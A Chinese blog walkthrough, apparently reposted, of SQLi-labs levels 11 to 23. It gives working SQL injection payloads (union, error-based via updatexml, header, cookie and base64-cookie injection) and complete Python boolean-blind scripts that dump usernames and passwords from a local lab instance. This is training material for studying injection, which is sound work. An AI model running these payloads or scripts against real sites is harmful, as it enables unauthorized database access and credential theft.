网络安全之sql靶场(11-23)

news2024/12/23 7:50:33

sql靶场(11-23)

目录

第十一关(post注入)

第十二关

第十三关

第十四关

第十五关

第十六关

第十七关

第十八关

第十九关

第二十关

第二十一关

第二十二关

第二十三关


第十一关(post注入)

查看页面

我们发现是有注入点的,所以我们可以尝试使用联合查询注入

我们发现联合查询注入是可行的,接下来就是该爆数据库、表、字段和用户账号密码

aaa' union select 1,database()#
aaa' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='security'#
aaa' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
aaa' union select 1,group_concat(username ,0x3a , password) from users#

结果

第十二关

查看页面

尝试之后发现这一关和十一关只是闭合方式不同

aaa") union select 1,database()#
aaa") union select 1,group_concat(table_name) from information_schema.tables where table_schema ='security'#
aaa") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
aaa") union select 1,group_concat(username ,0x3a , password) from users#

结果

第十三关

查看页面,经过测试发现,只有报错注入可以回显,同时闭合方式也和之前有所不同。

aaa') and updatexml(1,user(),1)#
aaa') and updatexml(1,concat('~',(select database()),'~'),1)#
aaa') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#

由于只能显示一个字段,所以我们使用limit进行逐个输出(我这里只输出第一组用户名和密码,其余自己进行)

第十四关

查看页面,经过测试发现这一关和第十三关只是闭合方式不同,所以我们依旧需要使用报错注入进行注入

aaa" and updatexml(1,user(),1)#
aaa" and updatexml(1,concat('~',(select database()),'~'),1)#
aaa" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaa" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)#
aaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#

结果

第十五关

查看页面,经过不断测试,发现页面只有成功与失败两个界面,所以我的第一想法就是布尔盲注

所以我们使用脚本直接爆出来这关

import requests

#爆破数据库名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": "aaaa' or ascii(substr(database(),%d,1))> %d#" % (i,mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name

#爆破表名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": "aaa' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'), %d, 1)) > %d#" % (i, mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name

#爆破列名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": "aaa' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), %d, 1)) > %d#" % (i, mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name

#爆破用户和密码
def inject_database(url):
    name = ''
    for i in range(1, 20):
        min_value = 32
        max_value = 128
        mid = (min_value + max_value) // 2
        while min_value < max_value:
            data = {
                "uname": "aaa' or ascii(substr((select group_concat(username, 0x3a, password) from users), %d, 1)) > %d#" % (i, mid),
                "passwd": "aaa"
                    }
            r = requests.post(url=url, data=data)
            if "flag.jpg" in r.text:
                min_value = mid + 1
            else:
                max_value = mid
            mid = (min_value + max_value) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-15/'
    inject_database(url)

结果

第十六关

查看页面发现这一关和第十五关只有闭合方式不一样

import requests

#爆破数据库名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": 'aaaa") or ascii(substr(database(),%d,1))> %d#' % (i,mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name

#爆破表名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": 'aaa") or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security"), %d, 1)) > %d#' % (i, mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name

#爆破列名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": 'aaa") or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users"), %d, 1)) > %d#' % (i, mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name

#爆破用户和密码
def inject_database(url):
    name = ''
    for i in range(1, 20):
        min_value = 32
        max_value = 128
        mid = (min_value + max_value) // 2
        while min_value < max_value:
            data = {
                "uname": 'aaa") or ascii(substr((select group_concat(username, 0x3a, password) from users), %d, 1)) > %d#' % (i, mid),
                "passwd": 'aaa'
                    }
            r = requests.post(url=url, data=data)
            if "flag.jpg" in r.text:
                min_value = mid + 1
            else:
                max_value = mid
            mid = (min_value + max_value) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
    return name


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-16/'
    inject_database(url)

结果

第十七关

这一关查看源码后发现,username不能进行注入了,但是password依然可以进行注入,但是这就有一个前提条件就是username必须输入正确。可以这一关的页面后发现这一关其实就是改密码,既然是改密码那么你就必须知道用户名了

证明我的想法是正确的,就是在密码这里进行注入

aaa' and updatexml(1,user(),1)#
aaa' and updatexml(1,concat('~',(select database()),'~'),1)#
1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)#
1' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)#

结果

很明显,成功爆出来用户名和密码啦,想要继续爆就修改limit后面的参数就可以啦。

第十八关

查看页面

这一关经过测试感觉和之前的有些区别啦,这时候我分析源码后发现注入点在user-agent上,所以我们可以试着抓包进行注入(使用抓包工具burpsuite进行抓包)

首先使用proxy模块进行抓包,抓取后发送到repeater模块进行分析修改

很明显可以看出来有注入点啦

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1

aaa' and updatexml(1,concat('~',(select database()),'~'),1) and '1'='1

1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'='1

1' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

很明显成功爆出来了他的用户名和密码。

第十九关

查看页面,感觉这一关和十八关有些类似

我直接进行了抓包,通过不断测试,发现注入点在referer上面

那么我就可以直接注入了

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1

aaa' and updatexml(1,concat('~',(select database()),'~'),1) and '1'='1

1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'='1

1' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

结果

第二十关

查看页面并登录成功后发现cookie在页面中有点突出

所以直接抓包修改cookie看是不是注入点,结果显而易见是注入点

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1

aaa' and updatexml(1,concat('~',(select database()),'~'),1) and '1'='1

1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'='1

admin' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

结果

第二十一关

查看页面并成功登录后发现页面cookie进行了编码

那么我有理由猜测吧payload进行编码再注入,会不会爆出东西呢,试一试,

看来我猜测是没错,那么接下来就是把payload语句进行base64编码后在进行注入,这里不得不说burpsuite的优势了,自带编码模块(感觉挺爽得啦),payload放下面啦,自己进行编码吧

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1

aaa' and updatexml(1,concat('~',(select database()),'~'),1) and '1'='1

1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'='1

admin' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

结果

第二十二关

查看页面并成功登录后发现页面的cookie依然进行了编码,那我有理由怀疑是不是闭合方式变了呢,直接试一试

因为这个也是需要进行base64编码,自己进行编码

aaa" and updatexml(1,concat(0x7e,(select user()),0x7e),1) and "1"="1

aaa" and updatexml(1,concat('~',(select database()),'~'),1) and '1'="1

1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'="1

1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'="1

admin" and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'="1

结果

第二十三关

查看页面后发现这一关又回到了我们的老朋友GET传参啦

试过好多后无从下手,解读源代码后发现这一关进行了过滤,

想了一下,既然过滤了注释符,娜美我们直接进行闭合试一试

经过测试发现我的想法是可行的,

那么进行全过程是爆破吧

爆表
http://127.0.0.1/sqllabs/less-23/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%27security%27%20and%20%271%27=%271

爆字段
http://127.0.0.1/sqllabs/less-23/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20%271%27=%271

爆用户和密码
http://127.0.0.1/sqllabs/less-23/?id=-1%27%20union%20select%201,2,group_concat(username%20,0x3a%20,%20password)%20from%20users%20where%20%271%27=%271

结果

接下来的24关我会放在单独的一片文档中,因为24关事二次注入,所以我还会引入两个ctf的二次注入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1987268.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

echart 制作 Grafana 面板之仪表盘

目录 前言准备工作实现代码代码详解总结相关阅读 前言 Grafana 是一个开源的可视化监控工具&#xff0c;支持多种数据源&#xff0c;并且可以创建丰富的仪表盘。ECharts 是一个强大的开源数据可视化库&#xff0c;通过结合这两者&#xff0c;我们可以创建自定义的仪表盘&…

GPIO输出控制之LED闪烁、LED流水灯以及蜂鸣器应用案例

系列文章目录 STM32之GPIO&#xff08;General Purpose Input/Output&#xff0c;通用型输入输出&#xff09; 文章目录 系列文章目录前言一、LED和蜂鸣器简介1.1 LED1.2 蜂鸣器1.3 面包板 二、LED硬件电路2.1 低电平驱动电路2.2 高电平驱动电路 三、蜂鸣器硬件电路3.1 PNP型三…

使用idea 把一个git分支的部分提交记录合并到另一个git分支上

一、需求 需要将A&#xff08;合并分支&#xff09;分支上的提交记录中的某一次&#xff08;或几次&#xff09;提交合并到B&#xff08;被合并分支&#xff09;分支上 说明&#xff1a;熟练使用idea可以直接看下图即可&#xff0c;若不熟悉可以根据下列步骤进行操作&#xf…

富士乐施5070-V打印机驱动安装

富士乐施5070-V打印机驱动安装 特指打印A3纸张需求&#xff0c;即驱动中能够选择纸张类型&#xff08;安装选择305df驱动只能打印A4类型&#xff09; 富士乐施打印机驱动下载网址&#xff1a; https://m3support-fb.fujifilm-fb.com.cn/driver_downloads/www/ 安装流程&…

C#自定义快捷操作键的实现 - 开源研究系列文章

这次想到应用程序的快捷方式使用的问题。 Windows已经提供了API函数能够对窗体的热键进行注册&#xff0c;然后就能够在窗体中使用这些注册的热键进行操作了。于是笔者就对这个操作进行了整理&#xff0c;将注册热键操作写成了帮助类&#xff0c;并且用此博文来记录这个使用DEM…

【教程】linux-ubuntu安装并配置docker

linux-ubuntu安装并配置docker 一、在线安装1.卸载历史版本情况一&#xff1a;如果之前是手动安装的话&#xff0c;一步一步卸载情况二&#xff1a;通过APT安装 2.使用APT安装&#xff08;推荐&#xff09;(1) 添加https软件包&#xff08;2&#xff09;在apt源中添加docker软件…

kubernets学习笔记——使用kubeadm构建kubernets集群及排错

使用kubeadm构建kubernets集群 一、准备工作1、repo源配置&#xff1a;阿里巴巴开源镜像源2、更新软件包并安装必要的系统工具3、同步时间4、禁用selinux5、禁用交换分区swap6、关闭防火墙 二、安装docker-ce、docker、cri-docker1、安装docker-ce2、开启内核转发&#xff0c;转…

【学习笔记】A2X通信的协议(四)- A2X PC5通信(二)

目录 6.1.2.4 A2X PC5单播链接释放程序 6.1.2.4.1 概述 6.1.2.4.2 发起UE启动A2X PC5单播链接释放程序 6.1.2.4.3 目标UE接受的A2X PC5单播链接释放程序 6.1.2.4.4 发起UE完成的A2X PC5单播链接释放程序 6.1.2.4.5 异常情况 6.1.2.4.5.1 发起UE的异常情况 6.1.2.5 A2X …

Linux——嵌入式学习——C++学习(1)

一、环境配置 由于之前安装过QT&#xff0c;所以直接连接网络之后&#xff0c;运行 运行之后检查安装版本 接着用qt的使用步骤 创建工程即可 三、 1、注释 单行注释&#xff1a;// 多行注释/* */ 2、auto 自动推导类型 2.1声明变量 使…

Linux小组件:makefile

引言&#xff1a; 我们在Windows下编程时使用vs这种集成开发环境&#xff0c;里面什么编译运行调试清理等等服务都被一连串打包好了。在Linux下怎么实现呢&#xff1f;使用我们伟大的makefile&#xff01; makefile是Linux下的一个工具&#xff0c;通过文本编辑器vim对文件内…

Linux内核编程(十一)设备模型

本文目录 一、知识点1. 设备模型2. sysfs 文件系统3. kobject、kset设备模型框架 二、kobject实验1. 创建kobject2. 释放kobject★示例 三、kset实验1. 创建kset2. 注销kset★示例 四、引用计数器1. 概念2. 为什么要引入引用计数器&#xff1f;3. 常用函数&#xff08;1&#x…

【Nuxt】发送请求

概述 以下方式只能在 setup / 生命周期钩子 里面使用。 useFetch 下面的 API / hooks 具体用法查看官网文档。 const BASE_URL http://codercba.com:9060/juanpi/api;// 1. $fetch server and client // $fetch(BASE_URL /homeInfo, { // method: GET // }).then(res &…

python爬虫04 | Reuqests库快速入门,干穿urllib

文章目录 Requests库简介提出请求响应内容二进制响应内容JSON 响应内容原始响应内容自定义标头更复杂的 POST 请求POST 多部分编码的文件响应状态代码响应标头Cookie重定向和历史记录超时错误和异常 Ending Requests库简介 什么是Requests库 Requests是一个简单易用的HTTP库&…

分享一个基于SpringBoot和Vue的闲置物品交易与物品租赁平台(源码、调试、LW、开题、PPT)

&#x1f495;&#x1f495;作者&#xff1a;计算机源码社 &#x1f495;&#x1f495;个人简介&#xff1a;本人 八年开发经验&#xff0c;擅长Java、Python、PHP、.NET、Node.js、Android、微信小程序、爬虫、大数据、机器学习等&#xff0c;大家有这一块的问题可以一起交流&…

人工智能计算机视觉先锋——OpenCv 的颜色检测

红色 在计算机的世界里&#xff0c;只有 0 或者1&#xff0c;如何让计算机认识颜色是计算机视觉工作者首先需要考虑的事情&#xff0c;我们知道整个世界的颜色虽然五彩缤纷&#xff0c;但是都是3种原色彩合成的&#xff08;R G B&#xff09;&#xff0c;有了&#xff08;R G …

C语言 | Leetcode C语言题解之第327题区间和的个数

题目&#xff1a; 题解&#xff1a; #define FATHER_NODE(i) (0 (i) ? -1 : ((i) - 1 >> 1)) #define LEFT_NODE(i) (((i) << 1) 1) #define RIGHT_NODE(i) (((i) << 1) 2)/* 优先队列&#xff08;小根堆&#xff09;。 */ typedef s…

数字人解决方案——音频驱动机器人

音频集成 机器人 标志着 人工智能&#xff08;AI&#xff09;。 想象一下&#xff0c;机器人可以通过视觉和听觉导航并与周围环境互动。音频驱动的机器人使这成为可能&#xff0c;提高了它们更高效、更直观地执行任务的能力。这一发展可能会影响到各个领域&#xff0c;包括家庭…

解决PermissionError: [Errno 13] Permission denied: “xx“报错

这个报错我是使用 shutil.copy(src_file, dst_file) 语句产生的&#xff0c;因此有些问题我会围绕此句代码来进行解决&#xff0c;如果有更好的建议&#xff0c;欢迎积极留言。 目录 1.路径拼写错误&#xff0c;建议使用绝对路径 2.此文件正在使用&#xff0c;关闭当前打开的…

vba 保存word里面的图片_1分钟批量处理100张图片,有Word在

天下苦Word久矣&#xff01;Word不仅是个码字工具&#xff0c;还是个排版工具&#xff0c;而Word在排版方面经常遇到的问题&#xff0c;恐怕说个三天三夜都说不完&#xff01; 好不容易做完了100页的活动方案&#xff0c;交到处女座上司那里&#xff0c;他告诉我&#xff1a;“…

调用azure的npm实现outlook_api模拟查看邮件、发送邮件(实现web版接受outlook邮件第一步)

文章目录 ⭐前言⭐注册azure应用&#x1f496;添加权限 ⭐调用npm 实现收发邮件&#x1f496;安装依赖&#x1f496;创建appSettings.js 放置密钥&#x1f496;创建graphHelper.js封装功能&#x1f496;主文件index.js 对外暴露&#x1f496;效果 ⭐结束 ⭐前言 大家好&#x…